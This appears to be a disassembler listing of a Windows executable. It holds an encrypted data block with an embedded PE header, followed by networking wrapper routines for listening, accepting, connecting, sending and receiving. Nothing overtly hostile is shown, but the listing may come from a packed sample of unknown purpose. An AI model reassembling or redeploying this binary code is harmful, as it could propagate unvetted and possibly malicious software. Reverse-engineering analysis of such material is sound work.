		dd 0CB26469h, 8C47771Eh, 8C36083Dh, 26054F22h, 0E6B45ACAh
		dd 0ED2B5013h, 6440C091h, 0E0B240B0h, 0E1D48BAEh, 77AADF93h
		dd 527CD143h, 67FBDEABh, 0B807AAA7h, 3CF08173h,	59AC82B3h
		dd 3DB277FAh, 1CB4E6DDh, 91A73EAEh, 141D1BE2h, 2E526D04h
		dd 0D2F30E95h, 9A93B53Fh, 9FD92567h, 3847FF8Dh,	0F10AE6BEh
		dd 0F1D146E6h, 2D320BC5h, 0ECAB5789h, 0D4807F76h, 2D36423Ch
		dd 825C2F48h, 19C5024Dh, 25EDAD23h, 34C27EB3h, 8C5F5322h
		dd 0A33C0550h, 0B6EAE193h, 7625E3A6h, 2C4FA1Eh,	1AB49Ah
		dd 1FB9BB4Eh, 0FED04BBBh, 85CFCC29h, 8F3440F7h,	0CB99E9Eh
		dd 984480B5h, 0EDA95887h, 7D9C2E3Dh, 326EF470h,	0D792D1E5h
		dd 0BFF5D6ECh, 2DFCEA99h, 0FAD37D28h, 79571274h, 6024643Ch
		dd 0FF73037Eh, 4A725D8Fh, 526D4385h, 3FCB7A31h,	0F50FBF25h
		dd 0EDA464ECh, 0CD4CA9B4h, 0EE54DDE4h, 0D15BD434h, 3006C18Fh
		dd 0FB5DC12Fh, 9917F3FEh, 315BEC1Fh, 5A8F67ACh,	0F9F9F2DEh
		dd 12C4B3C7h, 5EC70910h, 1DD81BEBh, 0A86D753Ch,	0C6C68AC2h
		dd 3CAF6041h, 4F8AE94h,	99D8BDF7h, 6DBD1644h, 0EBFA059Dh
		dd 27E02C6Ch, 801EF98Dh, 49EF5E10h, 4E5B63B6h, 28EE7FEh
		dd 0F9EB7A82h, 0B9418C60h, 0E3F1F28Ch, 0FDBB828Ch, 6F5BC03h
		dd 0FB087D66h, 2299AC43h, 527A8339h, 87D2C7B2h,	538EF6F1h
		dd 0B766C529h, 0E6E34769h, 6CB57B3Dh, 0FC009854h, 62711B86h
		dd 0DE23F582h, 96EF1DDh, 3D82E8F6h, 9D866E3Bh, 0FF82CD77h
		dd 0EB1090D6h, 5086794Ah, 72B1A092h, 4C923227h,	496E8FFDh
		dd 0A114815Dh, 0EF45EAA3h, 0B636B505h, 0CCE8A403h, 0C47F5DB1h
		dd 181AEF81h, 0DEBC5D5h, 0C4F9D024h, 51AED849h,	0F99C2C4Bh
		dd 0F6FF0FD3h, 9A30525Dh, 0ED230ED4h, 7356AC87h, 0F2B22EABh
		dd 37158103h, 82780917h, 7B032DE5h, 0FED3B2EFh,	0DFE6339Ch
		dd 0B7B5DDBCh, 19CEC27Eh, 184479C4h, 0BA1A66DFh, 2619990Ah
		dd 52DCC0E7h, 5D6EB565h, 9D3B5749h, 0BA6E276Eh,	9F04574Dh
		dd 6AF12007h, 3C57F3C5h, 97B29E9Ah, 4546ECA2h, 7E25073Ch
		dd 9289FBEBh, 0E3BB21D6h, 8A025D37h, 8B099079h,	0A1E76326h
		dd 2E4F91CAh, 0B160F284h, 39738098h, 45C88A90h,	905A4D14h
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 8000h, 0BA1F0E00h, 9B4000Eh,	1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd offset dword_455000
		dd 4014C00h, 501C800h, 47h, 0
		dd 0F00E000h, 2010B01h,	0C60032h, 1B00000h, 0
		dd 7AA000h, 100000h, 0E00000h, 40000000h, 100000h, 20000h
		dd 400h, 0
		dd 400h, 0
		dd 2B00000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 11A0C00h, 7800h, 1400000h, 160D000h,	12h dup(0)
		dd 11CC400h, 24000h, 6 dup(0)
		dd 65742E00h, 7478h, 0C42600h, 100000h,	0C60000h, 40000h
		dd 3 dup(0)
		dd 2000h, 64722E60h, 617461h, 21AC00h, 0E00000h, 220000h
		dd 0CA0000h, 3 dup(0)
		dd 4000h, 61642E40h, 6174h, 2A8C00h, 1100000h, 180000h
		dd 0EC0000h, 3 dup(0)
		dd 4000h, 73722EC0h, 6372h, 160D000h, 1400000h,	1620000h
		dd 1040000h, 3 dup(0)
		dd 4000h, 40h, 79h dup(0)
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_441F82	proc near		; CODE XREF: DMN1:00444FCEp
					; DMN1:00445953p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_441F94
; ---------------------------------------------------------------------------


loc_441F8C:				; CODE XREF: sub_441F82+14j
		call	dword_411CC4	; GetTickCount
		mov	esi, eax


loc_441F94:				; CODE XREF: sub_441F82+8j
		test	esi, esi
		jz	short loc_441F8C
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_441FB0
		inc	dword ptr [ebx]


loc_441FB0:				; CODE XREF: sub_441F82+2Aj
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_441F82	endp


; =============== S U B	R O U T	I N E =======================================



sub_441FBD	proc near		; CODE XREF: sub_447672+20p
		push	offset dword_41285C
		call	dword_411CC8	; InitializeCriticalSection
		retn
sub_441FBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441FC9	proc near		; CODE XREF: sub_4421AB+35p
					; sub_442944+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	offset dword_41285C
		call	dword_411CCC	; RtlEnterCriticalSection
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_447CC1
		pop	ecx
		pop	ecx
		mov	ebx, eax
		push	offset dword_41285C
		call	dword_411CD0	; RtlLeaveCriticalSection
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_441FC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_441FF7	proc near		; CODE XREF: sub_4421AB+1Fp
					; sub_4429BC+Bp ...

arg_0		= dword	ptr  4

		push	offset dword_41285C
		call	dword_411CCC	; RtlEnterCriticalSection
		push	[esp+arg_0]
		call	sub_448071
		pop	ecx
		push	offset dword_41285C
		call	dword_411CD0	; RtlLeaveCriticalSection
		retn
sub_441FF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_442018	proc near		; CODE XREF: sub_447672+2Ap
		push	offset dword_412874
		call	dword_411CC8	; InitializeCriticalSection
		retn
sub_442018	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		cmp	dword ptr [ebp+8], 0
		jz	loc_4420DF
		push	0FFFFFFF5h
		call	dword_411CD4	; GetStdHandle
		cmp	eax, 0FFFFFFFFh
		jz	loc_4420DF
		push	offset dword_412874
		call	dword_411CCC	; RtlEnterCriticalSection
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		call	sub_448141
		add	esp, 10h
		mov	ebx, eax
		cmp	ebx, 0FFh
		jbe	short loc_4420C1
		push	1
		lea	eax, [ebx+80h]
		push	eax
		call	sub_447CC1
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		lea	eax, [ebx+1Fh]
		push	eax
		push	esi
		call	sub_448141
		add	esp, 10h
		mov	ebx, eax
		push	esi
		push	offset aS_0	; "%s"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		push	esi
		call	sub_448071
		pop	ecx
		jmp	short loc_4420D4
; ---------------------------------------------------------------------------


loc_4420C1:				; CODE XREF: DMN1:00442081j
		lea	eax, [ebp-100h]
		push	eax
		push	offset aS_0	; "%s"
		call	sub_4481E1
		pop	ecx
		pop	ecx


loc_4420D4:				; CODE XREF: DMN1:004420BFj
		push	offset dword_412874
		call	dword_411CD0	; RtlLeaveCriticalSection


loc_4420DF:				; CODE XREF: DMN1:00442037j
					; DMN1:0044204Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4420E6	proc near		; CODE XREF: sub_447672+25p
		push	offset dword_41288C
		call	dword_411CC8	; InitializeCriticalSection
		retn
sub_4420E6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		lea	eax, [ebp-10h]
		push	eax
		call	dword_411CD8	; GetLocalTime
		cmp	word ptr [ebp-8], 0Ch
		jnb	short loc_442111
		mov	ebx, offset aAm	; "AM"
		jmp	short loc_442116
; ---------------------------------------------------------------------------


loc_442111:				; CODE XREF: DMN1:00442108j
		mov	ebx, offset aPm	; "PM"


loc_442116:				; CODE XREF: DMN1:0044210Fj
		push	ebx
		movzx	eax, word ptr [ebp-4]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		mov	ecx, 0Ch
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-10h]
		mov	ecx, 64h
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset a02i02i02iIIIS ;	"%02i/%02i/%02i	%i:%i:%i%s"
		push	dword ptr [ebp+8]
		call	sub_448241
		add	esp, 24h
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	offset dword_41288C
		call	dword_411CCC	; RtlEnterCriticalSection
		push	offset aA	; "a"
		push	dword ptr [ebp+8]
		call	sub_448281
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_44219B
		lea	eax, [ebp+10h]
		mov	[ebp-4], eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_448331
		add	esp, 0Ch
		push	ebx
		call	sub_4484E1
		pop	ecx


loc_44219B:				; CODE XREF: DMN1:0044217Dj
		push	offset dword_41288C
		call	dword_411CD0	; RtlLeaveCriticalSection
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4421AB	proc near		; CODE XREF: sub_447672+4Bp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		jmp	short loc_4421D0
; ---------------------------------------------------------------------------


loc_4421B8:				; CODE XREF: sub_4421AB+2Cj
		dec	dword_411000
		mov	eax, dword_411000
		push	dword_4128A4[eax*4]
		call	sub_441FF7
		pop	ecx


loc_4421D0:				; CODE XREF: sub_4421AB+Bj
		cmp	dword_411000, 0
		jnz	short loc_4421B8
		jmp	short loc_44224C
; ---------------------------------------------------------------------------


loc_4421DB:				; CODE XREF: sub_4421AB+ADj
		push	401h
		call	sub_441FC9
		pop	ecx
		mov	edx, dword_411000
		mov	dword_4128A4[edx*4], eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_4421FF
		inc	ebx
		mov	[ebp+var_1], 22h
		jmp	short loc_442203
; ---------------------------------------------------------------------------


loc_4421FF:				; CODE XREF: sub_4421AB+4Bj
		mov	[ebp+var_1], 20h


loc_442203:				; CODE XREF: sub_4421AB+52j
		and	[ebp+var_8], 0
		mov	eax, dword_411000
		lea	edx, [eax+1]
		mov	dword_411000, edx
		mov	esi, dword_4128A4[eax*4]
		jmp	short loc_442224
; ---------------------------------------------------------------------------


loc_44221E:				; CODE XREF: sub_4421AB+8Bj
		mov	al, [ebx]
		mov	[esi], al
		inc	esi
		inc	ebx


loc_442224:				; CODE XREF: sub_4421AB+71j
		mov	al, [ebx]
		test	al, al
		jz	short loc_442238
		cmp	al, [ebp+var_1]
		jz	short loc_442238
		cmp	[ebp+var_8], 400h
		jl	short loc_44221E


loc_442238:				; CODE XREF: sub_4421AB+7Dj
					; sub_4421AB+82j
		cmp	[ebp+var_1], 22h
		jnz	short loc_442247
		cmp	byte ptr [ebx],	22h
		jnz	short loc_442247
		inc	ebx
		jmp	short loc_442247
; ---------------------------------------------------------------------------


loc_442246:				; CODE XREF: sub_4421AB+9Fj
		inc	ebx


loc_442247:				; CODE XREF: sub_4421AB+91j
					; sub_4421AB+96j ...
		cmp	byte ptr [ebx],	20h
		jz	short loc_442246


loc_44224C:				; CODE XREF: sub_4421AB+2Ej
		cmp	byte ptr [ebx],	0
		jz	short loc_44225A
		cmp	dword_411000, 20h
		jl	short loc_4421DB


loc_44225A:				; CODE XREF: sub_4421AB+A4j
		mov	eax, dword_411000
		and	dword_4128A4[eax*4], 0
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4421AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44226D	proc near		; CODE XREF: sub_447672+256p

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	bx, 2
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_447C2F	; WSAStartup
		mov	esi, eax
		test	esi, esi
		jz	short loc_4422BD
		mov	bx, 101h
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_447C2F	; WSAStartup
		mov	esi, eax
		test	esi, esi
		jz	short loc_4422B0
		xor	eax, eax
		jmp	short loc_4422CB
; ---------------------------------------------------------------------------


loc_4422B0:				; CODE XREF: sub_44226D+3Dj
		push	offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n"
		call	nullsub_4
		pop	ecx
		jmp	short loc_4422C8
; ---------------------------------------------------------------------------


loc_4422BD:				; CODE XREF: sub_44226D+23j
		push	offset aWinsock2_xInit ; "WinSock 2.x initialized.\n"
		call	nullsub_4
		pop	ecx


loc_4422C8:				; CODE XREF: sub_44226D+4Ej
		xor	eax, eax
		inc	eax


loc_4422CB:				; CODE XREF: sub_44226D+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44226D	endp

; ---------------------------------------------------------------------------
		call	sub_447C35	; WSACleanup
		xor	eax, eax
		inc	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4422DA	proc near		; CODE XREF: sub_443817+BDp
					; DMN1:00444C9Cp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_447C3B	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4422F8
		xor	eax, eax
		jmp	short loc_44234E
; ---------------------------------------------------------------------------


loc_4422F8:				; CODE XREF: sub_4422DA+18j
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_447C41	; setsockopt
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_447C41	; setsockopt
		mov	[ebp+var_4], 1
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_447C41	; setsockopt
		mov	eax, ebx


loc_44234E:				; CODE XREF: sub_4422DA+1Cj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4422DA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_447C3B	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_442371
		xor	eax, eax
		jmp	short loc_4423D2
; ---------------------------------------------------------------------------


loc_442371:				; CODE XREF: DMN1:0044236Bj
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_447C41	; setsockopt
		imul	eax, [ebp+8], 3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_447C41	; setsockopt
		xor	eax, eax
		cmp	dword ptr [ebp+10h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_447C41	; setsockopt
		mov	eax, ebx


loc_4423D2:				; CODE XREF: DMN1:0044236Fj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+8]
		imul	eax, [ebp+10h],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_447C41	; setsockopt
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_447C41	; setsockopt
		xor	eax, eax
		cmp	dword ptr [ebp+14h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_447C41	; setsockopt
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_442443	proc near		; CODE XREF: sub_44352A+15Dp
					; sub_44352A+1B4p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_447C47	; closesocket
		xor	eax, eax
		inc	eax
		retn
sub_442443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442450	proc near		; CODE XREF: DMN1:004457B5p
					; DMN1:0044582Fp

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		and	[ebp+var_10C], 0
		and	[ebp+var_108], 0
		and	[ebp+var_104], 0
		cmp	[ebp+var_104], 40h
		jnb	short loc_442492
		mov	eax, [ebp+var_104]
		lea	edx, [eax+1]
		mov	[ebp+var_104], edx
		mov	[ebp+eax*4+var_100], ebx


loc_442492:				; CODE XREF: sub_442450+2Aj
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	sub_447C4D	; select
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4424BD
		test	esi, esi
		jnz	short loc_4424BA
		xor	eax, eax
		jmp	short loc_4424BD
; ---------------------------------------------------------------------------


loc_4424BA:				; CODE XREF: sub_442450+64j
		xor	eax, eax
		inc	eax


loc_4424BD:				; CODE XREF: sub_442450+60j
					; sub_442450+68j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4424C3	proc near		; CODE XREF: sub_4434E3+13p
					; sub_44352A+1F5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	sub_447C53	; ioctlsocket
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4424E3
		mov	eax, [ebp+var_4]


loc_4424E3:				; CODE XREF: sub_4424C3+1Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4424C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4424E8	proc near		; CODE XREF: sub_44352A+14Ep
					; sub_443817+DBp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_447C59	; htons
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_447C5F	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_442530
		xor	eax, eax
		jmp	short loc_442533
; ---------------------------------------------------------------------------


loc_442530:				; CODE XREF: sub_4424E8+42j
		xor	eax, eax
		inc	eax


loc_442533:				; CODE XREF: sub_4424E8+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4424E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442538	proc near		; CODE XREF: DMN1:0044598Fp
					; DMN1:00446CA2p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_447C59	; htons
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_447C65	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_442580
		xor	eax, eax
		jmp	short loc_442583
; ---------------------------------------------------------------------------


loc_442580:				; CODE XREF: sub_442538+42j
		xor	eax, eax
		inc	eax


loc_442583:				; CODE XREF: sub_442538+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_442538	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442588	proc near		; CODE XREF: DMN1:00445AB9p
					; DMN1:00446CBFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	5
		push	[ebp+arg_0]
		call	sub_447C6B	; listen
		test	eax, eax
		jge	short loc_44259D
		xor	eax, eax
		jmp	short loc_4425A0
; ---------------------------------------------------------------------------


loc_44259D:				; CODE XREF: sub_442588+Fj
		xor	eax, eax
		inc	eax


loc_4425A0:				; CODE XREF: sub_442588+13j
		pop	ebp
		retn
sub_442588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4425A2	proc near		; CODE XREF: DMN1:00446CDAp

var_14		= dword	ptr -14h
var_10		= word ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	esi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	sub_447C71	; accept
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4425E5
		xor	eax, eax
		jmp	short loc_4425E7
; ---------------------------------------------------------------------------


loc_4425E5:				; CODE XREF: sub_4425A2+3Dj
		mov	eax, ebx


loc_4425E7:				; CODE XREF: sub_4425A2+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4425A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4425ED	proc near		; CODE XREF: DMN1:00445AD1p

var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		and	dword ptr [edx], 0
		mov	word ptr [ebx],	0
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	edi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		push	[ebp+arg_0]
		call	sub_447C71	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_44263F
		xor	eax, eax
		jmp	short loc_442656
; ---------------------------------------------------------------------------


loc_44263F:				; CODE XREF: sub_4425ED+4Cj
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_C]
		mov	[edx], eax
		movzx	eax, [ebp+var_E]
		push	eax
		call	sub_447C77	; htons
		mov	[ebx], ax
		mov	eax, esi


loc_442656:				; CODE XREF: sub_4425ED+50j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4425ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44265D	proc near		; CODE XREF: sub_442B2D+44p
					; sub_442B2D+A3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_442688
; ---------------------------------------------------------------------------


loc_44266B:				; CODE XREF: sub_44265D+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_447C7D	; recv
		mov	esi, eax
		test	esi, esi
		jg	short loc_442684
		or	eax, 0FFFFFFFFh
		jmp	short loc_44268F
; ---------------------------------------------------------------------------


loc_442684:				; CODE XREF: sub_44265D+20j
		sub	edi, esi
		add	ebx, esi


loc_442688:				; CODE XREF: sub_44265D+Cj
		test	edi, edi
		jg	short loc_44266B
		mov	eax, [ebp+arg_8]


loc_44268F:				; CODE XREF: sub_44265D+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44265D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442694	proc near		; CODE XREF: sub_44352A+1E3p
					; sub_443817+149p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_4426C3
; ---------------------------------------------------------------------------


loc_4426A3:				; CODE XREF: sub_442694+31j
		push	0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_447C7D	; recv
		mov	esi, eax
		test	esi, esi
		jle	short loc_4426C7
		sub	edi, esi
		mov	eax, [ebp+arg_4]
		add	eax, esi
		mov	[ebp+arg_4], eax
		add	ebx, esi


loc_4426C3:				; CODE XREF: sub_442694+Dj
		test	edi, edi
		jg	short loc_4426A3


loc_4426C7:				; CODE XREF: sub_442694+21j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_442694	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+10h]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_4426FD
; ---------------------------------------------------------------------------


loc_4426DD:				; CODE XREF: DMN1:004426FFj
		push	0
		push	ebx
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_447C7D	; recv
		mov	esi, eax
		test	esi, esi
		jle	short loc_442701
		sub	edi, esi
		mov	eax, [ebp+0Ch]
		add	eax, esi
		mov	[ebp+0Ch], eax
		add	ebx, esi


loc_4426FD:				; CODE XREF: DMN1:004426DBj
		test	edi, edi
		jg	short loc_4426DD


loc_442701:				; CODE XREF: DMN1:004426EFj
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442708	proc near		; CODE XREF: sub_442A5B+97p
					; sub_44352A+1A4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_442733
; ---------------------------------------------------------------------------


loc_442716:				; CODE XREF: sub_442708+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_447C83	; send
		mov	esi, eax
		test	esi, esi
		jg	short loc_44272F
		or	eax, 0FFFFFFFFh
		jmp	short loc_44273A
; ---------------------------------------------------------------------------


loc_44272F:				; CODE XREF: sub_442708+20j
